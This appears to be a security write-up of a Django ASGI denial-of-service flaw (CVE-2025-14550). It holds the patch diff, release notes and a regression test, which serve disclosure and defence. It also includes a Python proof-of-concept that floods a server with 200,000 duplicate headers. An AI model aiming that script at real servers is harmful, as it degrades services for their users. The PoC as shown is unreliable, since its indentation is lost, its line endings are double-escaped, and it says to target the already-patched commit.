Description
The commit patches ASGI header processing in Django to fix a potential Denial of Service (DoS) vulnerability related to repeated headers in ASGI requests (CVE-2025-14550). Previously, repeated headers could trigger repeated string concatenations while merging header values, potentially causing super-linear CPU usage and degraded service under crafted requests with many duplicates. The fix switches from per-header string concatenation to aggregating header values in lists (via a defaultdict(list)) and then performing a single join per header. It also normalizes HTTP_COOKIE separately and updates META with joined values, reducing the amount of repeated string processing. Tests add coverage for many repeated headers and ensure META is not excessively mutated, supporting a mitigation against DoS via crafted header sets. Documentation also references the CVE and classifies it as moderate severity.
Proof of Concept
Python PoC to reproduce a DoS on Django's ASGI header parsing by sending many duplicate headers. Prereqs: run a Django ASGI server on localhost:8000 with this commit and request path '/'. Then run the following Python script to flood with duplicates.
import socket
HOST = '127.0.0.1'
PORT = 8000
N = 200000 # number of duplicate headers
def send_dup_headers():
s = socket.create_connection((HOST, PORT))
s.sendall(b"GET / HTTP/1.1\\r\\n")
s.sendall(b"Host: localhost\\r\\n")
for _ in range(N):
s.sendall(b"X-Dupe: a\\r\\n")
s.sendall(b"\\r\\n")
try:
s.settimeout(2)
while True:
data = s.recv(4096)
if not data:
break
except Exception:
pass
s.close()
if __name__ == '__main__':
send_dup_headers()
Notes:
- This PoC intentionally creates a request with a very large number of duplicate headers to trigger the header aggregation path in ASGIRequest. On older code paths, this could cause substantial CPU usage due to repeated string concatenations. With the fix, header values are collected into lists and joined once, reducing the risk. Run in a controlled environment and monitor CPU utilization during the PoC.
Code Diff
diff --git a/django/core/handlers/asgi.py b/django/core/handlers/asgi.py
index af8582d539e7..c8118e1691f9 100644
--- a/django/core/handlers/asgi.py
+++ b/django/core/handlers/asgi.py
@@ -3,6 +3,7 @@
import sys
import tempfile
import traceback
+from collections import defaultdict
from contextlib import aclosing, closing
from asgiref.sync import ThreadSensitiveContext, sync_to_async
@@ -83,6 +84,7 @@ def __init__(self, scope, body_file):
self.META["SERVER_NAME"] = "unknown"
self.META["SERVER_PORT"] = "0"
# Headers go into META.
+ _headers = defaultdict(list)
for name, value in self.scope.get("headers", []):
name = name.decode("latin1")
if name == "content-length":
@@ -96,11 +98,10 @@ def __init__(self, scope, body_file):
value = value.decode("latin1")
if corrected_name == "HTTP_COOKIE":
value = value.rstrip("; ")
- if "HTTP_COOKIE" in self.META:
- value = self.META[corrected_name] + "; " + value
- elif corrected_name in self.META:
- value = self.META[corrected_name] + "," + value
- self.META[corrected_name] = value
+ _headers[corrected_name].append(value)
+ if cookie_header := _headers.pop("HTTP_COOKIE", None):
+ self.META["HTTP_COOKIE"] = "; ".join(cookie_header)
+ self.META.update({name: ",".join(value) for name, value in _headers.items()})
# Pull out request encoding, if provided.
self._set_content_type_params(self.META)
# Directly assign the body file to be our stream.
diff --git a/docs/releases/4.2.28.txt b/docs/releases/4.2.28.txt
index 9f6d5cb152f1..67d398308cbb 100644
--- a/docs/releases/4.2.28.txt
+++ b/docs/releases/4.2.28.txt
@@ -17,3 +17,15 @@ allowed remote attackers to enumerate users via a timing attack.
This issue has severity "low" according to the :ref:`Django security policy
<security-disclosure>`.
+
+CVE-2025-14550: Potential denial-of-service vulnerability via repeated headers when using ASGI
+==============================================================================================
+
+When receiving duplicates of a single header, ``ASGIRequest`` allowed a remote
+attacker to cause a potential denial-of-service via a specifically created
+request with multiple duplicate headers. The vulnerability resulted from
+repeated string concatenation while combining repeated headers, which
+produced super-linear computation resulting in service degradation or outage.
+
+This issue has severity "moderate" according to the :ref:`Django security
+policy <security-disclosure>`.
diff --git a/docs/releases/5.2.11.txt b/docs/releases/5.2.11.txt
index f975e45166ee..1e5187d7ec5d 100644
--- a/docs/releases/5.2.11.txt
+++ b/docs/releases/5.2.11.txt
@@ -17,3 +17,15 @@ allowed remote attackers to enumerate users via a timing attack.
This issue has severity "low" according to the :ref:`Django security policy
<security-disclosure>`.
+
+CVE-2025-14550: Potential denial-of-service vulnerability via repeated headers when using ASGI
+==============================================================================================
+
+When receiving duplicates of a single header, ``ASGIRequest`` allowed a remote
+attacker to cause a potential denial-of-service via a specifically created
+request with multiple duplicate headers. The vulnerability resulted from
+repeated string concatenation while combining repeated headers, which
+produced super-linear computation resulting in service degradation or outage.
+
+This issue has severity "moderate" according to the :ref:`Django security
+policy <security-disclosure>`.
diff --git a/docs/releases/6.0.2.txt b/docs/releases/6.0.2.txt
index ba39f74082c7..a25825919529 100644
--- a/docs/releases/6.0.2.txt
+++ b/docs/releases/6.0.2.txt
@@ -18,6 +18,18 @@ allowed remote attackers to enumerate users via a timing attack.
This issue has severity "low" according to the :ref:`Django security policy
<security-disclosure>`.
+CVE-2025-14550: Potential denial-of-service vulnerability via repeated headers when using ASGI
+==============================================================================================
+
+When receiving duplicates of a single header, ``ASGIRequest`` allowed a remote
+attacker to cause a potential denial-of-service via a specifically created
+request with multiple duplicate headers. The vulnerability resulted from
+repeated string concatenation while combining repeated headers, which
+produced super-linear computation resulting in service degradation or outage.
+
+This issue has severity "moderate" according to the :ref:`Django security
+policy <security-disclosure>`.
+
Bugfixes
========
diff --git a/tests/asgi/tests.py b/tests/asgi/tests.py
index 0e23f7c24538..6a44d21d386e 100644
--- a/tests/asgi/tests.py
+++ b/tests/asgi/tests.py
@@ -223,7 +223,7 @@ async def test_post_body(self):
self.assertEqual(response_body["type"], "http.response.body")
self.assertEqual(response_body["body"], b"Echo!")
- async def test_create_request_error(self):
+ async def test_request_too_big_request_error(self):
# Track request_finished signal.
signal_handler = SignalHandler()
request_finished.connect(signal_handler)
@@ -254,6 +254,32 @@ class TestASGIHandler(ASGIHandler):
signal_handler.calls[0]["thread"], threading.current_thread()
)
+ async def test_meta_not_modified_with_repeat_headers(self):
+ scope = self.async_request_factory._base_scope(path="/", http_version="2.0")
+ scope["headers"] = [(b"foo", b"bar")] * 200_000
+
+ setitem_count = 0
+
+ class InstrumentedDict(dict):
+ def __setitem__(self, *args, **kwargs):
+ nonlocal setitem_count
+ setitem_count += 1
+ super().__setitem__(*args, **kwargs)
+
+ class InstrumentedASGIRequest(ASGIRequest):
+ @property
+ def META(self):
+ return self._meta
+
+ @META.setter
+ def META(self, value):
+ self._meta = InstrumentedDict(**value)
+
+ request = InstrumentedASGIRequest(scope, None)
+
+ self.assertEqual(len(request.headers["foo"].split(",")), 200_000)
+ self.assertLessEqual(setitem_count, 100)
+
async def test_cancel_post_request_with_sync_processing(self):
"""
The request.body object should be available and readable in view